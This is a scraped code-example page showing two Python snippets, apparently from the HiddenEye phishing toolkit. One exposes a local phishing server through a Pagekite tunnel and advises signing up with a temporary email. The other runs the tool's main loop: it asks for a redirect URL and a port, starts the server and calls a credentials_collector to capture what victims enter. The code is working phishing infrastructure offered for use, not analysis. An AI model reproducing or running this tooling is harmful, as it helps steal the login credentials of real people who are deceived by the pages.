示例#1
0
def start_pagekite(port):
    from Defs.ActionManager.simple_informant import credentials_collector

    run_command("clear")
    print("""
		{1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
		|__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
		|  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
		{0}http://github.com/darksecdevelopers
		{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------"""
          .format(default_palette[0], default_palette[2]))
    if 256 == run_command("which python2 > /dev/null"):
        print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
        input("\n Press Enter To Try installing Python2 Now..")
        run_command("apt install python2")
        if 256 == run_command("which python2 > /dev/null"):
            run_command("clear")
            print(
                "\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
                .format(default_palette[0], default_palette[4]))
            wait(2)
            server_selection(port)
        else:
            pass
    else:
        try:
            subdomain = input(
                "\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
                .format(default_palette[0], default_palette[2]))
            print(
                "\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
                .format(default_palette[0], default_palette[4]))
            input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
                  format(default_palette[0], default_palette[4]))
            run_command(
                "python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me"
                .format(port, subdomain))
        except KeyboardInterrupt:
            print("[!] Please Copy the Generated Link For Further Use")
            credentials_collector(port)
示例#2
0
# simple_informant.check_permissions()
# verCheck() # For now it's useless, i'll rewrite it later, after release.

###########  simple_informant.check_php()  # FIXME we have to replace PHP with Python
# checkLocalxpose()
ConnectionController().verify_connection()
# checkOpenport()
# checkPagekite()
# checkLT()

if __name__ == "__main__":
    try:
        main_runner.start_main_menu()
        prompt.feature_prompt()
        main_runner.enter_custom_redirecting_url()
        port = simple_informant.port_selector()

        ##############
        server_runner.start_server(port)
        server_runner.server_selection(port)

        multiprocessing.Process(target=server_runner.start_server,
                                args=(port, )).start()
        simple_informant.credentials_collector()

    except KeyboardInterrupt:
        # When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors)
        port = "8080"
        simple_informant.exit_message(port)
        exit()